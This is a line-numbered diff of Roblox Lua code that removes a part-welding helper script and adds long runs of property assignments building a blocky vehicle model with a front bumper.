Part47.CFrame = CFrame.new(-40.5710258, 6.52945471, 128.419601, 0.0077546807, -6.74080511e-05, -0.999964118, -0.00475055259, 0.999988735, -0.000104217295, 0.999950886, 0.00475121569, 0.00775364321)
1061
Part47.TopSurface = Enum.SurfaceType.Smooth
1062
Part47.Color = Color3.new(0.94902, 0.952941, 0.952941)
1063-
local function ShouldBreakJoints(Part)
1063+
Part47.Position = Vector3.new(-40.5710258, 6.52945471, 128.419601)
1064-
	--- We do not want to break joints of wheels/hinges. This takes the utmost care to not do this. There are
1064+
Part47.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
1065-
	--  definitely some edge cases. 
1065+
Part47.Color = Color3.new(0.94902, 0.952941, 0.952941)
1066
SpecialMesh48.Parent = Part47
1067-
	if NEVER_BREAK_JOINTS then
1067+
SpecialMesh48.MeshType = Enum.MeshType.Wedge
1068-
		return false
1068+
Part49.Name = "Smooth Block Model"
1069
Part49.Parent = Model21
1070-
	
1070+
Part49.BrickColor = BrickColor.new("White")
1071-
	if HasWheelJoint(Part) then
1071+
Part49.Rotation = Vector3.new(0.269999981, 0.439999998, 0)
1072-
		return false
1072+
Part49.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
1073
Part49.Velocity = Vector3.new(-0.0539558008, 0.971932828, 14.8837423)
1074-
	
1074+
Part49.CanCollide = false
1075-
	local Connected = Part:GetConnectedParts()
1075+
Part49.Size = Vector3.new(3, 1.20000005, 1)
1076-
	
1076+
Part49.CFrame = CFrame.new(-48.5162392, 3.4954052, 135.467026, 0.999961436, -6.74146722e-05, 0.00775479898, 0.000104209779, 0.999988735, -0.00475054514, -0.00775347557, 0.00475120638, 0.999947309)
1077-
	if #Connected == 1 then
1077+
Part49.BackSurface = Enum.SurfaceType.Weld
1078-
		return false
1078+
Part49.BottomSurface = Enum.SurfaceType.Smooth
1079
Part49.FrontSurface = Enum.SurfaceType.Weld
1080-
	
1080+
Part49.RightSurface = Enum.SurfaceType.Weld
1081-
	for _, Item in pairs(Connected) do
1081+
Part49.Color = Color3.new(0.94902, 0.952941, 0.952941)
1082-
		if HasWheelJoint(Item) then
1082+
Part49.Position = Vector3.new(-48.5162392, 3.4954052, 135.467026)
1083-
			return false
1083+
Part49.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978)
1084-
		elseif not Item:IsDescendantOf(script.Parent) then
1084+
Part49.Color = Color3.new(0.94902, 0.952941, 0.952941)
1085-
			return false
1085+
Part50.Name = "Smooth Block Model"
1086
Part50.Parent = Model21
1087
Part50.BrickColor = BrickColor.new("White")
1088-
	
1088+
Part50.Rotation = Vector3.new(0.269999981, 0.439999998, 0)
1089-
	return true
1089+
Part50.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
1090
Part50.Velocity = Vector3.new(-0.0557077006, 0.845738649, 14.6559963)
1091
Part50.CanCollide = false
1092-
local function WeldTogether(Part0, Part1, JointType, WeldParent)
1092+
Part50.Size = Vector3.new(3, 1.20000005, 1)
1093-
	--- Weld's 2 parts together
1093+
Part50.CFrame = CFrame.new(-43.5164413, 3.49594164, 135.428268, 0.99995929, -6.74199691e-05, 0.00775489397, 0.000104203769, 0.999988735, -0.00475053862, -0.00775334192, 0.00475119893, 0.999944448)
1094-
	-- @param Part0 The first part
1094+
Part50.BackSurface = Enum.SurfaceType.Weld
1095-
	-- @param Part1 The second part (Dependent part most of the time).
1095+
Part50.BottomSurface = Enum.SurfaceType.Smooth
1096-
	-- @param [JointType] The type of joint. Defaults to weld.
1096+
Part50.FrontSurface = Enum.SurfaceType.Weld
1097-
	-- @param [WeldParent] Parent of the weld, Defaults to Part0 (so GC is better).
1097+
Part50.LeftSurface = Enum.SurfaceType.Weld
1098-
	-- @return The weld created.
1098+
Part50.Color = Color3.new(0.94902, 0.952941, 0.952941)
1099
Part50.Position = Vector3.new(-43.5164413, 3.49594164, 135.428268)
1100-
	JointType = JointType or "Weld"
1100+
Part50.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978)
1101-
	local RelativeValue = Part1:FindFirstChild("qRelativeCFrameWeldValue")
1101+
Part50.Color = Color3.new(0.94902, 0.952941, 0.952941)
1102-
	
1102+
Part51.Name = "Smooth Block Model"
1103-
	local NewWeld = Part1:FindFirstChild("qCFrameWeldThingy") or Instance.new(JointType)
1103+
Part51.Parent = Model21
1104-
	Modify(NewWeld, {
1104+
Part51.BrickColor = BrickColor.new("White")
1105-
		Name = "qCFrameWeldThingy";
1105+
Part51.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5)
1106-
		Part0  = Part0;
1106+
Part51.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
1107-
		Part1  = Part1;
1107+
Part51.Velocity = Vector3.new(0.112192824, 1.44133377, 14.8510389)
1108-
		C0     = CFrame.new();--Part0.CFrame:inverse();
1108+
Part51.Size = Vector3.new(1, 2.4000001, 14)
1109-
		C1     = RelativeValue and RelativeValue.Value or Part1.CFrame:toObjectSpace(Part0.CFrame); --Part1.CFrame:inverse() * Part0.CFrame;-- Part1.CFrame:inverse();
1109+
Part51.CFrame = CFrame.new(-45.9852829, 2.87666798, 139.444595, 0.00775470445, -6.74093753e-05, -0.999963582, -0.00475055119, 0.999988735, -0.000104215789, 0.999950171, 0.00475121383, 0.00775360968)
1110-
		Parent = Part1;
1110+
Part51.Color = Color3.new(0.94902, 0.952941, 0.952941)
1111
Part51.Position = Vector3.new(-45.9852829, 2.87666798, 139.444595)
1112
Part51.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
1113-
	if not RelativeValue then
1113+
Part51.Color = Color3.new(0.94902, 0.952941, 0.952941)
1114-
		RelativeValue = Make("CFrameValue", {
1114+
Part52.Name = "Smooth Block Model"
1115-
			Parent     = Part1;
1115+
Part52.Parent = Model21
1116-
			Name       = "qRelativeCFrameWeldValue";
1116+
Part52.BrickColor = BrickColor.new("White")
1117-
			Archivable = true;
1117+
Part52.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
1118-
			Value      = NewWeld.C1;
1118+
Part52.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
1119-
		})
1119+
Part52.Velocity = Vector3.new(-0.164705127, 0.245787159, 14.1281023)
1120
Part52.Size = Vector3.new(6, 1.20000005, 3)
1121
Part52.CFrame = CFrame.new(-46.0554428, 8.31935596, 130.470703, -0.999963939, -6.74084877e-05, -0.00775468862, -0.000104216793, 0.999988735, 0.00475055212, 0.00775363203, 0.00475121522, -0.999950647)
1122-
	return NewWeld
1122+
Part52.TopSurface = Enum.SurfaceType.Smooth
1123
Part52.Color = Color3.new(0.94902, 0.952941, 0.952941)
1124
Part52.Position = Vector3.new(-46.0554428, 8.31935596, 130.470703)
1125-
local function WeldParts(Parts, MainPart, JointType, DoNotUnanchor)
1125+
Part52.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
1126-
	-- @param Parts The Parts to weld. Should be anchored to prevent really horrible results.
1126+
Part52.Color = Color3.new(0.94902, 0.952941, 0.952941)
1127-
	-- @param MainPart The part to weld the model to (can be in the model).
1127+
SpecialMesh53.Parent = Part52
1128-
	-- @param [JointType] The type of joint. Defaults to weld. 
1128+
SpecialMesh53.MeshType = Enum.MeshType.Wedge
1129-
	-- @parm DoNotUnanchor Boolean, if true, will not unachor the model after cmopletion.
1129+
Part54.Name = "Smooth Block Model"
1130-
	
1130+
Part54.Parent = Model21
1131-
	for _, Part in pairs(Parts) do
1131+
Part54.BrickColor = BrickColor.new("White")
1132-
		if ShouldBreakJoints(Part) then
1132+
Part54.Rotation = Vector3.new(0.269999981, 0.439999998, 0)
1133-
			Part:BreakJoints()
1133+
Part54.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
1134
Part54.Velocity = Vector3.new(-0.369093299, -0.353703618, 14.1268396)
1135
Part54.Size = Vector3.new(6, 1.20000005, 6)
1136-
	
1136+
Part54.CFrame = CFrame.new(-46.0903397, 8.34073353, 125.970917, 0.999963939, -6.74084877e-05, 0.00775468862, 0.000104216793, 0.999988735, -0.00475055212, -0.00775363203, 0.00475121522, 0.999950647)
1137-
	for _, Part in pairs(Parts) do
1137+
Part54.Color = Color3.new(0.94902, 0.952941, 0.952941)
1138-
		if Part ~= MainPart then
1138+
Part54.Position = Vector3.new(-46.0903397, 8.34073353, 125.970917)
1139-
			WeldTogether(MainPart, Part, JointType, MainPart)
1139+
Part54.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978)
1140
Part54.Color = Color3.new(0.94902, 0.952941, 0.952941)
1141
Part55.Name = "Smooth Block Model"
1142
Part55.Parent = Model21
1143-
	if not DoNotUnanchor then
1143+
Part55.BrickColor = BrickColor.new("White")
1144-
		for _, Part in pairs(Parts) do
1144+
Part55.Rotation = Vector3.new(0.769999981, -89.4799957, 0.5)
1145-
			Part.Anchored = false
1145+
Part55.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
1146
Part55.Velocity = Vector3.new(-0.0548307784, 0.908837438, 14.7698669)
1147-
		MainPart.Anchored = false
1147+
Part55.Size = Vector3.new(1, 1.20000005, 2)
1148
Part55.CFrame = CFrame.new(-46.0163269, 3.49568486, 135.447662, 0.00775436684, -6.73966642e-05, -0.99995929, -0.00475050509, 0.999988735, -0.0001041777, 0.999944448, 0.0047511654, 0.0077528148)
1149
Part55.BottomSurface = Enum.SurfaceType.Hinge
1150
Part55.Color = Color3.new(0.94902, 0.952941, 0.952941)
1151-
local function PerfectionWeld()	
1151+
Part55.Position = Vector3.new(-46.0163269, 3.49568486, 135.447662)
1152-
	local Tool = GetNearestParent(script, "Tool")
1152+
Part55.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
1153
Part55.Color = Color3.new(0.94902, 0.952941, 0.952941)
1154-
	local Parts = GetBricks(script.Parent)
1154+
Part56.Name = "Smooth Block Model"
1155-
	local PrimaryPart = Tool and Tool:FindFirstChild("Handle") and Tool.Handle:IsA("BasePart") and Tool.Handle or script.Parent:IsA("Model") and script.Parent.PrimaryPart or Parts[1]
1155+
Part56.Parent = Model21
1156
Part56.BrickColor = BrickColor.new("White")
1157-
	if PrimaryPart then
1157+
Part56.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5)
1158-
		WeldParts(Parts, PrimaryPart, "Weld", false)
1158+
Part56.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
1159
Part56.Velocity = Vector3.new(0.159890562, 1.73860741, 15.1473885)
1160-
		warn("qWeld - Unable to weld part")
1160+
Part56.Size = Vector3.new(1, 2.4000001, 1)
1161
Part56.CFrame = CFrame.new(-52.4772987, 2.87124395, 140.494934, 0.0077546807, -6.74080511e-05, -0.999964118, -0.00475055259, 0.999988735, -0.000104217295, 0.999950886, 0.00475121569, 0.00775364321)
1162-
	
1162+
Part56.Color = Color3.new(0.94902, 0.952941, 0.952941)
1163-
	return Tool
1163+
Part56.Position = Vector3.new(-52.4772987, 2.87124395, 140.494934)
1164
Part56.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
1165
Part56.Color = Color3.new(0.94902, 0.952941, 0.952941)
1166-
local Tool = PerfectionWeld()
1166+
Part57.Name = "Smooth Block Model"
1167
Part57.Parent = Model21
1168
Part57.BrickColor = BrickColor.new("White")
1169-
if Tool and script.ClassName == "Script" then
1169+
Part57.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5)
1170-
	--- Don't bother with local scripts
1170+
Part57.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
1171
Part57.Velocity = Vector3.new(-0.781544685, -1.22268438, 14.7653809)
1172-
	script.Parent.AncestryChanged:connect(function()
1172+
Part57.Size = Vector3.new(1, 1.20000005, 8)
1173-
		PerfectionWeld()
1173+
Part57.CFrame = CFrame.new(-46.1404266, 3.57167077, 119.448425, 0.0077546807, -6.74080511e-05, -0.999964118, -0.00475055259, 0.999988735, -0.000104217295, 0.999950886, 0.00475121569, 0.00775364321)
1174
Part57.Color = Color3.new(0.94902, 0.952941, 0.952941)
1175
Part57.Position = Vector3.new(-46.1404266, 3.57167077, 119.448425)
1176
Part57.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
1177-
-- Created by Quenty (@Quenty, follow me on twitter).
1177+
Part57.Color = Color3.new(0.94902, 0.952941, 0.952941)
1178
Part58.Name = "Smooth Block Model"
1179
Part58.Parent = Model21
1180-
Humanoid51.Parent = Model0
1180+
Part58.BrickColor = BrickColor.new("White")
1181-
Humanoid51.NameOcclusion = Enum.NameOcclusion.NoOcclusion
1181+
Part58.Rotation = Vector3.new(0.269999981, 0.439999998, 0)
1182-
Humanoid51.RightLeg = Part18
1182+
Part58.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
1183-
Humanoid51.LeftLeg = Part17
1183+
Part58.Velocity = Vector3.new(0.0213533938, 1.17489302, 14.8504782)
1184-
Humanoid51.Torso = Part19
1184+
Part58.CanCollide = false
1185-
Hat52.Name = "Millitary Beanie"
1185+
Part58.Size = Vector3.new(8, 2.4000001, 3)
1186-
Hat52.Parent = Model0
1186+
Part58.CFrame = CFrame.new(-46.0007973, 2.88616538, 137.444687, 0.999964118, -6.74080511e-05, 0.0077546807, 0.000104217295, 0.999988735, -0.00475055259, -0.00775364321, 0.00475121569, 0.999950886)
1187-
Hat52.AttachmentPos = Vector3.new(0, -0.100000001, -0.0700000003)
1187+
Part58.BackSurface = Enum.SurfaceType.Weld
1188-
Part53.Name = "Handle"
1188+
Part58.Color = Color3.new(0.94902, 0.952941, 0.952941)
1189-
Part53.Parent = Hat52
1189+
Part58.Position = Vector3.new(-46.0007973, 2.88616538, 137.444687)
1190-
Part53.BrickColor = BrickColor.new("Pastel brown")
1190+
Part58.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978)
1191-
Part53.Rotation = Vector3.new(0, -90, 0)
1191+
Part58.Color = Color3.new(0.94902, 0.952941, 0.952941)
1192-
Part53.CanCollide = false
1192+
Part59.Name = "Smooth Block Model"
1193-
Part53.FormFactor = Enum.FormFactor.Symmetric
1193+
Part59.Parent = Model21
1194-
Part53.Size = Vector3.new(1, 1, 1)
1194+
Part59.BrickColor = BrickColor.new("White")
1195-
Part53.CFrame = CFrame.new(12.3819971, 5.0999999, 63.8128319, -5.73683906e-07, -9.13071307e-09, -1, 7.667877e-09, 1, -9.13071752e-09, 1, -7.66788233e-09, -5.73683906e-07)
1195+
Part59.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5)
1196-
Part53.BottomSurface = Enum.SurfaceType.Smooth
1196+
Part59.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
1197-
Part53.TopSurface = Enum.SurfaceType.Smooth
1197+
Part59.Velocity = Vector3.new(-0.273873299, 0.308963478, 14.8486538)
1198-
Part53.Color = Color3.new(1, 0.8, 0.6)
1198+
Part59.Size = Vector3.new(2, 2.4000001, 14)
1199-
Part53.Position = Vector3.new(12.3819971, 5.0999999, 63.8128319)
1199+
Part59.CFrame = CFrame.new(-46.0512047, 2.91704798, 130.945007, 0.00775470445, -6.74093681e-05, -0.999963582, -0.00475055072, 0.999988735, -0.000104215789, 0.999950171, 0.00475121383, 0.00775360968)
1200-
Part53.Orientation = Vector3.new(0, -90, 0)
1200+
Part59.LeftSurface = Enum.SurfaceType.Weld
1201-
Part53.Color = Color3.new(1, 0.8, 0.6)
1201+
Part59.Color = Color3.new(0.94902, 0.952941, 0.952941)
1202-
SpecialMesh54.Parent = Part53
1202+
Part59.Position = Vector3.new(-46.0512047, 2.91704798, 130.945007)
1203-
SpecialMesh54.MeshId = "rbxassetid://11349749"
1203+
Part59.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
1204-
SpecialMesh54.Offset = Vector3.new(0, -0.400000006, -0.300000012)
1204+
Part59.Color = Color3.new(0.94902, 0.952941, 0.952941)
1205-
SpecialMesh54.TextureId = "rbxassetid://29875340"
1205+
Part60.Name = "Smooth Block Model"
1206-
SpecialMesh54.MeshType = Enum.MeshType.FileMesh
1206+
Part60.Parent = Model21
1207
Part60.BrickColor = BrickColor.new("White")
1208
Part60.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
1209
Part60.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
1210
Part60.Velocity = Vector3.new(-0.659936845, -0.823398829, 14.8462677)
1211
Part60.CanCollide = false
1212
Part60.Size = Vector3.new(8, 2.4000001, 3)
1213
Part60.CFrame = CFrame.new(-46.1171188, 2.95742369, 122.44548, -0.999961078, -6.73918184e-05, -0.0077542779, -0.00010418224, 0.999988735, 0.00475051068, 0.00775291584, 0.00475117238, -0.999946833)
1214
Part60.BackSurface = Enum.SurfaceType.Weld
1215
Part60.Color = Color3.new(0.94902, 0.952941, 0.952941)
1216
Part60.Position = Vector3.new(-46.1171188, 2.95742369, 122.44548)
1217
Part60.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
1218
Part60.Color = Color3.new(0.94902, 0.952941, 0.952941)
1219
Part61.Name = "Smooth Block Model"
1220
Part61.Parent = Model21
1221
Part61.BrickColor = BrickColor.new("White")
1222
Part61.Rotation = Vector3.new(-179.229996, 89.4799957, 179.5)
1223
Part61.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
1224
Part61.Velocity = Vector3.new(-0.554445386, -0.556578994, 14.7667847)
1225
Part61.Size = Vector3.new(1, 1.20000005, 2)
1226
Part61.CFrame = CFrame.new(-46.1016655, 3.54791427, 124.448219, -0.00775489444, -6.74199255e-05, 0.99995929, 0.00475053908, 0.999988735, 0.000104203747, -0.999944448, 0.00475119986, -0.00775334146)
1227
Part61.Color = Color3.new(0.94902, 0.952941, 0.952941)
1228
Part61.Position = Vector3.new(-46.1016655, 3.54791427, 124.448219)
1229
Part61.Orientation = Vector3.new(-0.00999999978, 90.4399948, 0.269999981)
1230
Part61.Color = Color3.new(0.94902, 0.952941, 0.952941)
1231
Part62.Name = "Smooth Block Model"
1232
Part62.Parent = Model21
1233
Part62.BrickColor = BrickColor.new("White")
1234
Part62.Rotation = Vector3.new(-179.229996, 89.4700012, 179.5)
1235
Part62.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
1236
Part62.Velocity = Vector3.new(-0.750778496, -1.08984661, 14.845706)
1237
Part62.Size = Vector3.new(1, 2.4000001, 14)
1238
Part62.CFrame = CFrame.new(-46.1326332, 2.96692896, 120.445518, -0.00775497453, -6.74243638e-05, 0.999957502, 0.00475053303, 0.999988735, 0.000104198749, -0.999942064, 0.0047511938, -0.00775323017)
1239
Part62.Color = Color3.new(0.94902, 0.952941, 0.952941)
1240
Part62.Position = Vector3.new(-46.1326332, 2.96692896, 120.445518)
1241
Part62.Orientation = Vector3.new(-0.00999999978, 90.4399948, 0.269999981)
1242
Part62.Color = Color3.new(0.94902, 0.952941, 0.952941)
1243
Part63.Name = "Smooth Block Model"
1244
Part63.Parent = Model21
1245
Part63.BrickColor = BrickColor.new("White")
1246
Part63.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
1247
Part63.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
1248
Part63.Velocity = Vector3.new(-0.555321097, -0.61967504, 14.6529121)
1249
Part63.CanCollide = false
1250
Part63.Size = Vector3.new(3, 1.20000005, 1)
1251
Part63.CFrame = CFrame.new(-43.6017685, 3.54817867, 124.428848, -0.999961078, -6.74155235e-05, -0.00775481528, -0.000104208761, 0.999988735, 0.00475054421, 0.00775345322, 0.00475120591, -0.999946833)
1252
Part63.BackSurface = Enum.SurfaceType.Weld
1253
Part63.Color = Color3.new(0.94902, 0.952941, 0.952941)
1254
Part63.Position = Vector3.new(-43.6017685, 3.54817867, 124.428848)
1255
Part63.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
1256
Part63.Color = Color3.new(0.94902, 0.952941, 0.952941)
1257
Part64.Name = "Smooth Block Model"
1258
Part64.Parent = Model21
1259
Part64.BrickColor = BrickColor.new("White")
1260
Part64.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5)
1261
Part64.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
1262
Part64.Velocity = Vector3.new(-0.793918669, -1.05900979, 15.1414938)
1263
Part64.Size = Vector3.new(1, 2.4000001, 1)
1264
Part64.CFrame = CFrame.new(-52.640152, 2.97100544, 119.495979, 0.0077546807, -6.74080511e-05, -0.999964118, -0.00475055259, 0.999988735, -0.000104217295, 0.999950886, 0.00475121569, 0.00775364321)
1265
Part64.Color = Color3.new(0.94902, 0.952941, 0.952941)
1266
Part64.Position = Vector3.new(-52.640152, 2.97100544, 119.495979)
1267
Part64.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
1268
Part64.Color = Color3.new(0.94902, 0.952941, 0.952941)
1269
Part65.Name = "Smooth Block Model"
1270
Part65.Parent = Model21
1271
Part65.BrickColor = BrickColor.new("White")
1272
Part65.Rotation = Vector3.new(0.269999981, 0.439999998, 0)
1273
Part65.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
1274
Part65.Velocity = Vector3.new(-0.528060794, -0.819970906, 14.1258574)
1275
Part65.Size = Vector3.new(6, 1.20000005, 1)
1276
Part65.CFrame = CFrame.new(-46.117485, 8.35736084, 122.471107, 0.99996376, -6.74089315e-05, 0.00775469653, 0.000104216298, 0.999988735, -0.00475055119, -0.00775362086, 0.00475121429, 0.999950409)
1277
Part65.TopSurface = Enum.SurfaceType.Smooth
1278
Part65.Color = Color3.new(0.94902, 0.952941, 0.952941)
1279
Part65.Position = Vector3.new(-46.117485, 8.35736084, 122.471107)
1280
Part65.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978)
1281
Part65.Color = Color3.new(0.94902, 0.952941, 0.952941)
1282
SpecialMesh66.Parent = Part65
1283
SpecialMesh66.MeshType = Enum.MeshType.Wedge
1284
Part67.Name = "Smooth Block Model"
1285
Part67.Parent = Model20
1286
Part67.BrickColor = BrickColor.new("Bright red")
1287
Part67.Rotation = Vector3.new(0.269999981, 0.439999998, 0)
1288
Part67.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
1289
Part67.Velocity = Vector3.new(-0.783297181, -1.34888029, 14.5376348)
1290
Part67.Size = Vector3.new(2, 1.20000005, 1)
1291
Part67.CFrame = CFrame.new(-41.1405983, 3.57219553, 119.40966, 0.999964118, -6.74080511e-05, 0.0077546807, 0.000104217295, 0.999988735, -0.00475055259, -0.00775364321, 0.00475121569, 0.999950886)
1292
Part67.Color = Color3.new(0.768628, 0.156863, 0.109804)
1293
Part67.Position = Vector3.new(-41.1405983, 3.57219553, 119.40966)
1294
Part67.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978)
1295
Part67.Color = Color3.new(0.768628, 0.156863, 0.109804)
1296
Part68.Name = "Smooth Block Model"
1297
Part68.Parent = Model20
1298
Part68.BrickColor = BrickColor.new("Bright red")
1299
Part68.Rotation = Vector3.new(0.269999981, 0.439999998, 0)
1300
Part68.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
1301
Part68.Velocity = Vector3.new(-0.779791713, -1.09648752, 14.9931259)
1302
Part68.Size = Vector3.new(2, 1.20000005, 1)
1303
Part68.CFrame = CFrame.new(-51.1402473, 3.57114983, 119.487198, 0.999964118, -6.74080511e-05, 0.0077546807, 0.000104217295, 0.999988735, -0.00475055259, -0.00775364321, 0.00475121569, 0.999950886)
1304
Part68.Color = Color3.new(0.768628, 0.156863, 0.109804)
1305
Part68.Position = Vector3.new(-51.1402473, 3.57114983, 119.487198)
1306
Part68.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978)
1307
Part68.Color = Color3.new(0.768628, 0.156863, 0.109804)
1308
Model69.Name = "FrontBumper"
1309
Model69.Parent = Model20
1310
Part70.Name = "Smooth Block Model"
1311
Part70.Parent = Model69
1312
Part70.BrickColor = BrickColor.new("Dark stone grey")
1313
Part70.Rotation = Vector3.new(0.269999981, 0.439999998, 0)
1314
Part70.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
1315
Part70.Velocity = Vector3.new(0.182074994, 1.76736045, 15.0792055)
1316
Part70.Size = Vector3.new(2, 2.4000001, 2)
1317
Part70.CFrame = CFrame.new(-50.973484, 2.86902118, 140.983292, 0.999964118, -6.74080511e-05, 0.0077546807, 0.000104217295, 0.999988735, -0.00475055259, -0.00775364321, 0.00475121569, 0.999950886)
1318
Part70.Color = Color3.new(0.388235, 0.372549, 0.384314)
1319
Part70.Position = Vector3.new(-50.973484, 2.86902118, 140.983292)
1320
Part70.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978)
1321
Part70.Color = Color3.new(0.388235, 0.372549, 0.384314)
1322
Part71.Name = "Smooth Block Model"
1323
Part71.Parent = Model69
1324
Part71.BrickColor = BrickColor.new("Dark stone grey")
1325
Part71.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
1326
Part71.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
1327
Part71.Velocity = Vector3.new(0.284060717, 1.78178692, 14.5442305)
1328
Part71.Size = Vector3.new(2, 1.20000005, 2)
1329
Part71.CFrame = CFrame.new(-40.9583511, 3.46055007, 142.908493, -0.99996376, -6.74089315e-05, -0.00775469653, -0.000104216298, 0.999988735, 0.00475055119, 0.00775362086, 0.00475121429, -0.999950409)
1330
Part71.BackSurface = Enum.SurfaceType.Weld
1331
Part71.BottomSurface = Enum.SurfaceType.Smooth
1332
Part71.TopSurface = Enum.SurfaceType.Smooth
1333
Part71.Color = Color3.new(0.388235, 0.372549, 0.384314)
1334
Part71.Position = Vector3.new(-40.9583511, 3.46055007, 142.908493)
1335
Part71.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
1336
Part71.Color = Color3.new(0.388235, 0.372549, 0.384314)
1337
SpecialMesh72.Parent = Part71
1338
SpecialMesh72.MeshType = Enum.MeshType.Wedge
1339
Part73.Name = "Smooth Block Model"
1340
Part73.Parent = Model69
1341
Part73.BrickColor = BrickColor.new("Dark stone grey")
1342
Part73.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5)
1343
Part73.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
1344
Part73.Velocity = Vector3.new(0.254229456, 1.74316728, 14.6359987)
1345
Part73.Size = Vector3.new(2, 1.20000005, 1)
1346
Part73.CFrame = CFrame.new(-39.4583321, 2.26072311, 142.891174, 0.00775470445, -6.74093681e-05, -0.999963582, -0.00475055072, 0.999988735, -0.000104215796, 0.999950171, 0.00475121383, 0.00775360968)
1347
Part73.BackSurface = Enum.SurfaceType.Weld
1348
Part73.BottomSurface = Enum.SurfaceType.Smooth
1349
Part73.TopSurface = Enum.SurfaceType.Smooth
1350
Part73.Color = Color3.new(0.388235, 0.372549, 0.384314)
1351
Part73.Position = Vector3.new(-39.4583321, 2.26072311, 142.891174)
1352
Part73.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
1353
Part73.Color = Color3.new(0.388235, 0.372549, 0.384314)
1354
SpecialMesh74.Parent = Part73
1355
SpecialMesh74.MeshType = Enum.MeshType.Wedge
1356
Part75.Name = "Smooth Block Model"
1357
Part75.Parent = Model69
1358
Part75.BrickColor = BrickColor.new("Dark stone grey")
1359
Part75.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5)
1360
Part75.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
1361
Part75.Velocity = Vector3.new(0.200752735, 1.54371738, 14.5555325)
1362
Part75.Size = Vector3.new(1, 2.4000001, 1)
1363
Part75.CFrame = CFrame.new(-39.470005, 2.86784053, 141.394089, 0.00775469653, -6.74089315e-05, -0.99996376, -0.00475055119, 0.999988735, -0.000104216298, 0.999950409, 0.00475121429, 0.00775362086)
1364
Part75.BackSurface = Enum.SurfaceType.Weld
1365
Part75.BottomSurface = Enum.SurfaceType.Smooth
1366
Part75.TopSurface = Enum.SurfaceType.Smooth
1367
Part75.Color = Color3.new(0.388235, 0.372549, 0.384314)
1368
Part75.Position = Vector3.new(-39.470005, 2.86784053, 141.394089)
1369
Part75.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
1370
Part75.Color = Color3.new(0.388235, 0.372549, 0.384314)
1371
SpecialMesh76.Parent = Part75
1372
SpecialMesh76.MeshType = Enum.MeshType.Wedge
1373
Part77.Name = "Smooth Block Model"
1374
Part77.Parent = Model69
1375
Part77.BrickColor = BrickColor.new("Dark stone grey")
1376
Part77.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
1377
Part77.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
1378
Part77.Velocity = Vector3.new(0.326390445, 2.23324895, 15.1602325)
1379
Part77.Size = Vector3.new(2, 1.20000005, 1)
1380
Part77.CFrame = CFrame.new(-50.9462967, 2.25240612, 144.48027, -0.999963045, -6.74106923e-05, -0.0077547282, -0.000104214298, 0.999988735, 0.00475054886, 0.00775357615, 0.00475121196, -0.999949455)
1381
Part77.BackSurface = Enum.SurfaceType.Weld
1382
Part77.BottomSurface = Enum.SurfaceType.Smooth
1383
Part77.TopSurface = Enum.SurfaceType.Smooth
1384
Part77.Color = Color3.new(0.388235, 0.372549, 0.384314)
1385
Part77.Position = Vector3.new(-50.9462967, 2.25240612, 144.48027)
1386
Part77.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
1387
Part77.Color = Color3.new(0.388235, 0.372549, 0.384314)
1388
SpecialMesh78.Parent = Part77
1389
SpecialMesh78.MeshType = Enum.MeshType.Wedge
1390
